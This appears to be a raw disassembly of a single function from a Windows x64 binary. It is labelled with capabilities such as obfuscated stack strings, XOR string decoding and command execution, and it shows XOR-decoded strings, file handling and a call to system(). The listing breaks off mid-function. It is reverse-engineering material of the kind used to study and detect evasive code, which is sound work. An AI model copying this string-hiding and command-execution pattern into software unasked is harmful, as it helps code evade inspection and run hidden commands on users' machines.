Function at 0x14002c9c0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Execute command
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x530
mov rax, qword [0x1401c47c0]
xor rax, rsp
mov qword [rsp + 0x520], rax
xor r13d, r13d
mov dword [rsp + 0x40], 0x724f5c18
mov dword [rsp + 0x44], 0x746962
mov rdx, qword [0x1401c4948]
lea rax, [rsp + 0x41]
mov rsi, 0xffffffffffffffff
mov rcx, rsi
nop dword [rax]
inc rcx
cmp byte [rax + rcx], r13b
jne 0x14002ca20
movabs r14, 0x7fffffffffffffff
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x140030bed
lea r15, [0x1401c4938]
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c4938]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x41]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x50]
call fcn.140025b40
nop
lea rcx, [rsp + 0x50]
call fcn.14002c7c0
movzx ebx, al
lea rcx, [rsp + 0x50]
call fcn.1400041e0
nop dword [rax]
test bl, bl
jne 0x14002cb90
mov dword [rsp + 0x40], 0x724f5c34
mov dword [rsp + 0x44], 0x746962
mov rdx, qword [0x1401c4948]
lea rax, [rsp + 0x41]
mov rcx, rsi
inc rcx
cmp byte [rax + rcx], 0
jne 0x14002cac7
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x140030bf3
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c4938]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x41]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x50]
call fcn.140025b40
nop
mov rdi, qword [rsp + 0x60]
lea rbx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rbx, qword [rsp + 0x50]
call fcn.140100b90
mov qword [rsp + 0x330], rbx
mov qword [rsp + 0x338], rdi
lea r8, [rsp + 0x330]
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.140005980
nop
lea rcx, [rsp + 0x70]
cmp qword [rsp + 0x88], 7
cmova rcx, qword [rsp + 0x70]
call fcn.140100df0
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x140030bf9
lea rcx, ds:[rsp + 0x70]
call fcn.140004160
nop
lea rcx, [rsp + 0x50]
call fcn.1400041e0
movdqa xmm0, xmmword [0x1401a58c0]
movdqu xmmword [rsp + 0x90], xmm0
movdqa xmm1, xmmword [0x1401a5880]
movdqu xmmword [rsp + 0xa0], xmm1
mov dword [rsp + 0xb0], 0x2e747369
mov dword [rsp + 0xb4], 0x676572
mov rdx, qword [0x1401c4948]
lea rax, [rsp + 0x91]
mov rcx, rsi
nop word [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14002cbe0
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x140030c0f
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c4938]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x91]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x50]
call fcn.140025b40
nop
mov rdi, qword [rsp + 0x60]
lea rbx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rbx, qword [rsp + 0x50]
call fcn.140100b90
mov qword [rsp + 0x330], rbx
mov qword [rsp + 0x338], rdi
lea r8, [rsp + 0x330]
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.140005980
nop
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x500]
call fcn.1400072e0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x40], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x330], ecx
lea r12, [0x1401c48e8]
mov qword [rsp + 0x338], r12
movaps xmm0, xmmword [rsp + 0x330]
movdqa xmmword [rsp + 0x330], xmm0
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x14002cd1a
cmp eax, 1
setne bl
lea rcx, [rsp + 0x70]
call fcn.140004160
nop
lea rcx, [rsp + 0x50]
call fcn.1400041e0
test bl, bl
je 0x14002cdbc
mov dword [rsp + 0x40], 0x724f5c03
mov dword [rsp + 0x44], 0x746962
mov rdx, qword [0x1401c4948]
lea rax, [rsp + 0x41]
mov rcx, rsi
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14002cd00
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x140030c15
jmp 0x14002cd2a
xor bl, bl
test ecx, ecx
jne 0x140030c1b
jmp 0x14002ccc1
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c4938]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x41]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x50]
call fcn.140025b40
nop
mov rdi, qword [rsp + 0x60]
lea rbx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rbx, qword [rsp + 0x50]
call fcn.140100b90
mov qword [rsp + 0x330], rbx
mov qword [rsp + 0x338], rdi
lea r8, [rsp + 0x330]
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.140005980
nop
lea rcx, [rsp + 0x70]
call fcn.1400299e0
nop
lea rcx, [rsp + 0x70]
call fcn.140004160
nop
lea rcx, [rsp + 0x50]
call fcn.1400041e0
movdqa xmm0, xmmword [0x1401a5870]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x65706c65
mov dword [rsp + 0x64], 0x78742e72
mov word [rsp + 0x68], reloc.WS2_32.dll_WSACleanup
mov rdx, qword [0x1401c4948]
lea rax, [rsp + 0x51]
mov rcx, rsi
inc rcx
cmp byte [rax + rcx], 0
jne 0x14002cdf0
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x140030c35
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c4938]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x51]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x70]
call fcn.140025b40
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x14002ce7b
mov rcx, qword [0x1401c4970]
inc rdx
cmp rdx, 0x1000
jb 0x14002ce76
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14002cf0b
mov rcx, r8
call fcn.140101bac
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [0x1401c4970], xmm0
movups xmm1, xmmword [rsp + 0x80]
movups xmmword [0x1401c4980], xmm1
movdqa xmm0, xmmword [0x1401a5530]
movdqu xmmword [rsp + 0x80], xmm0
mov byte [rsp + 0x70], 0
lea rcx, [rsp + 0x70]
call fcn.1400041e0
movdqa xmm0, xmmword [0x1401a5950]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x6f697372
mov dword [rsp + 0x64], 0x78742e6e
mov word [rsp + 0x68], reloc.WS2_32.dll_WSACleanup
mov rdx, qword [0x1401c4948]
lea rax, [rsp + 0x51]
mov rcx, rsi
nop word [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14002cef0
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x140030c3b
jmp 0x14002cf12
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c4938]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x51]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x70]
call fcn.140025b40
nop
mov rdi, qword [rsp + 0x80]
lea rbx, [rsp + 0x70]
cmp qword [rsp + 0x88], 0xf
cmova rbx, qword [rsp + 0x70]
call fcn.140100b90
mov qword [rsp + 0x330], rbx
mov qword [rsp + 0x338], rdi
lea r8, [rsp + 0x330]
mov edx, eax
lea rcx, [rsp + 0x350]
call fcn.140005980
nop
lea rdx, [rsp + 0x350]
lea rcx, [rsp + 0x500]
call fcn.1400072e0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x40], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x330], ecx
mov qword [rsp + 0x338], r12
movaps xmm0, xmmword [rsp + 0x330]
movdqa xmmword [rsp + 0x330], xmm0
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x14002d06b
cmp eax, 1
sete bl
lea rcx, [rsp + 0x350]
call fcn.140004160
nop
lea rcx, [rsp + 0x70]
call fcn.1400041e0
nop dword [rax]
test bl, bl
je 0x14002d173
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x3f0]
call sub.VCRUNTIME140.dll_memset
movdqa xmm0, xmmword [0x1401a5940]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x6f697372
mov dword [rsp + 0x64], 0x78742e6e
mov word [rsp + 0x68], reloc.WS2_32.dll_WSACleanup
mov rdx, qword [0x1401c4948]
lea rax, [rsp + 0x51]
mov rcx, rsi
inc rcx
cmp byte [rax + rcx], 0
jne 0x14002d051
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x140030c46
jmp 0x14002d07a
mov bl, 1
test ecx, ecx
jne 0x140030c4c
jmp 0x14002cfe4
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c4938]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x51]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x70]
call fcn.140025b40
nop
lea rdx, [rsp + 0x70]
cmp qword [rsp + 0x88], 0xf
cmova rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x3f0]
call fcn.140020620
mov rax, qword [rsp + 0x3f0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x3f0], rax
mov rax, qword [rsp + 0x3f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3ec], edx
lea rcx, [rsp + 0x70]
call fcn.1400041e0
cmp qword [rsp + 0x478], 0
jne 0x14002d157
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rsp + 0x170]
call fcn.140031100
lea rdx, [rax + 1]
mov r9, rdx
mov r10d, 0xad
nop word [rax + rax]
movzx r8d, byte [rax]
xor byte [r9], r8b
lea r9, [r9 + 1]
sub r10, 1
je 0x140030c69
jmp 0x14002d140
lea rcx, ds:[rsp + 0x3f0]
call fcn.140020580
nop
lea rcx, [rsp + 0x3f0]
call fcn.140009780
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x220]
call sub.VCRUNTIME140.dll_memset
movdqa xmm0, xmmword [0x1401a5960]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x6f697372
mov dword [rsp + 0x64], 0x78742e6e
mov word [rsp + 0x68], reloc.WS2_32.dll_WSACleanup
mov rdx, qword [0x1401c4948]
lea rax, [rsp + 0x51]
mov rcx, rsi
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14002d1c0
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x140030c8c
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c4938]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x51]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x70]
call fcn.140025b40
nop
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x220]
call fcn.14001f2a0
nop
lea rcx, [rsp + 0x70]
call fcn.1400041e0
mov rax, qword ds:[rsp + 0x220]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x220]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
jne 0x140030c92
xorps xmm0, xmm0
movups xmmword [rsp + 0x388], xmm0
mov qword [rsp + 0x398], r13
mov qword [rsp + 0x3a0], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x388], 0
movups xmmword [rsp + 0x3a8], xmm0
mov qword [rsp + 0x3b8], r13
mov qword [rsp + 0x3c0], r13
xor r8d, r8d
lea rdx, [0x14019bfd6]
lea rcx, [rsp + 0x3a8]
call fcn.140007e00
nop
mov rax, qword [rsp + 0x220]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x220]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rsp + 0x388]
lea rcx, [rsp + 0x220]
call fcn.140025ce0
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14002d373
lea rdx, [rsp + 0x388]
cmp qword [rsp + 0x3a0], 0xf
cmova rdx, qword [rsp + 0x388]
mov r8, qword [rsp + 0x398]
lea rcx, [rsp + 0x3a8]
call fcn.1400228c0
mov rax, qword ds:[rsp + 0x220]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x220]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rsp + 0x388]
lea rcx, [rsp + 0x220]
call fcn.140025ce0
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14002d2f7
lea rcx, ds:[rsp + 0x230]
call fcn.140021e20
test rax, rax
jne 0x14002d3ae
mov rax, qword [rsp + 0x220]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x220]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x3c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x3d8], xmm1
xor r8d, r8d
lea rdx, [0x14019bfd6]
lea rcx, [rsp + 0x3c8]
call fcn.140007e00
nop
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x370], xmm1
mov qword [rsp + 0x380], r13
lea rcx, [rsp + 0x3a8]
cmp qword [rsp + 0x3c0], 0xf
cmova rcx, qword [rsp + 0x3a8]
mov r8, qword [rsp + 0x3b8]
test r8, r8
jne 0x14002d7ea
lea rdx, [0x14019bfd6]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14002d7ea
mov eax, dword [0x1401c6e58]
cmp eax, 0x4a65
jne 0x14002d44c
lea rdx, [rsp + 0x330]
call fcn.1400312b0
jmp 0x14002d465
cmp eax, 0x5867
jne 0x14002d4ba
lea rdx, ds:[rsp + 0x330]
call fcn.1400312d0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x3c8]
call fcn.140021810
jmp 0x14002d8db
lea rcx, [rsp + 0x3f0]
call fcn.1400097f0
lea rdx, [rsp + 0x50]
call fcn.1400312f0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
mov byte [r8 + 0x18], 0
mov rdx, r15
lea rcx, [rsp + 0x70]
call fcn.140022fd0
nop
mov rdx, rax
lea rcx, [rsp + 0x3f0]
call fcn.1400205c0
nop
lea rcx, [rsp + 0x70]
call fcn.1400041e0
cmp qword [rsp + 0x478], 0
je 0x140030d4c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x170]
call fcn.1400313d0
mov r9, r13
lea rdx, [rax + 1]
nop word [rax + rax]
movzx r8d, byte [rax]
xor byte [r9 + rdx], r8b
inc r9
cmp r9, 0x95
jb 0x14002d580
mov byte ds:[rdx + 0x95], 0
call fcn.140004620
lea rdx, [0x14019bfd6]
lea rcx, [rsp + 0x350]
call fcn.140007dc0
nop
lea rdx, [rsp + 0x350]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14003cce0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov word ds:[rsp + 0x340], 0x304e
mov byte [rsp + 0x342], 0
lea rdx, [rsp + 0x341]
lea rcx, [rsp + 0x350]
call fcn.140023480
test al, al
je 0x14002d68a
mov dword [0x1401c6e58], 0x4a65
lea rdx, ds:[rsp + 0x330]
call fcn.140031500
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x3c8]
call fcn.140021810
lea rdx, ds:[rsp + 0x330]
call fcn.140031520
jmp 0x14002d72d
mov word [rsp + 0x340], 0x312a
mov byte [rsp + 0x342], 0
lea rdx, [rsp + 0x341]
lea rcx, [rsp + 0x350]
call fcn.140023480
test al, al
je 0x140030ecf
lea rdx, [rsp + 0x330]
call fcn.140031540
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x3c8]
call fcn.140021810
mov dword [0x1401c6e58], 0x5867
lea rdx, [rsp + 0x330]
call fcn.140031560
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x3f0]
call fcn.140004620
lea rdx, [0x140004800]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x3f0]
call fcn.140020580
lea rdx, [rsp + 0x340]
call fcn.1400315b0
lea rcx, ds:[rax + 1]
movzx r8d, byte [rax]
xor byte [rcx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
mov byte [rcx + 3], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rsp + 0x350]
call fcn.1400041e0
nop
lea rcx, [rsp + 0x3f0]
call fcn.140009780
jmp 0x14002d8db
lea rdx, [rsp + 0x3a8]
lea rcx, [rsp + 0x3c8]
call fcn.140021830
lea rdx, [rsp + 0x330]
call fcn.1400315c0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x3a8]
call fcn.140023480
nop dword [rax]
test al, al
je 0x14002d870
mov dword [0x1401c6e58], 0x5867
jmp 0x14002d8db
lea rdx, [rsp + 0x330]
call fcn.1400315e0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x3a8]
call fcn.140023480
test al, al
je 0x14002d8db
mov dword [0x1401c6e58], 0x4a65
movdqa xmm0, xmmword [0x1401a5910]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x80], 0x74616470
mov word [rsp + 0x84], 0x61
mov rdx, qword [0x1401c4948]
lea rax, [rsp + 0x71]
mov rcx, rsi
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14002d910
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x140030f3f
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c4938]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x71]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x50]
call fcn.140025b40
nop
lea rcx, [rsp + 0x50]
call fcn.14002c7c0
movzx ebx, al
lea rcx, [rsp + 0x50]
call fcn.1400041e0
test bl, bl
jne 0x14002db38
lea rdx, ds:[rsp + 0x40]
call fcn.140031600
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
mov byte [r8 + 6], bl
mov rdx, r15
lea rcx, [rsp + 0x50]
call fcn.140022fd0
nop
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1400234e0
nop
lea rcx, [rsp + 0x70]
call fcn.1400299e0
nop
lea rcx, [rsp + 0x70]
call fcn.140004160
nop
lea rcx, [rsp + 0x50]
call fcn.1400041e0
lea rdx, [rsp + 0x40]
call fcn.140031620
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
mov byte [r8 + 6], bl
mov rdx, r15
lea rcx, [rsp + 0x50]
call fcn.140022fd0
nop
mov rcx, rax
call fcn.14002c7c0
movzx ebx, al
lea rcx, [rsp + 0x50]
call fcn.1400041e0
test bl, bl
jne 0x14002da95
lea rdx, [rsp + 0x40]
call fcn.140031640
lea r8, ds:[rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
mov byte [r8 + 6], bl
mov rdx, r15
lea rcx, [rsp + 0x50]
call fcn.140022fd0
nop
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1400234e0
nop
lea rcx, [rsp + 0x70]
call fcn.140029740
nop
lea rcx, [rsp + 0x70]
call fcn.140004160
nop
lea rcx, [rsp + 0x50]
call fcn.1400041e0
nop
lea rdx, [rsp + 0x70]
call fcn.140031660
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
mov byte [r8 + 0x14], 0
mov rdx, r15
lea rcx, [rsp + 0x50]
call fcn.140022fd0
nop
mov rdx, rax
lea rcx, [rsp + 0x350]
call fcn.1400234e0
nop
lea rcx, [rsp + 0x350]
call fcn.140029740
movzx ebx, al
lea rcx, [rsp + 0x350]
call fcn.140004160
nop
lea rcx, [rsp + 0x50]
call fcn.1400041e0
test bl, bl
je 0x14002f55d
lea rdx, ds:[rsp + 0x50]
call fcn.140031740
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
mov byte [r8 + 0x1e], 0
mov rdx, r15
lea rcx, [rsp + 0x90]
call fcn.140022fd0
nop
lea rdx, [rsp + 0xf0]
call fcn.140031780
mov r9, rax
lea rdx, [rax + 1]
lea r8, [rax + 3]
mov rbx, 0xfffffffffffffffd
mov r10, rbx
sub r10, rax
lea rcx, [r10 + r8]
movzx eax, byte [r9]
xor byte [rcx + rdx], al
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
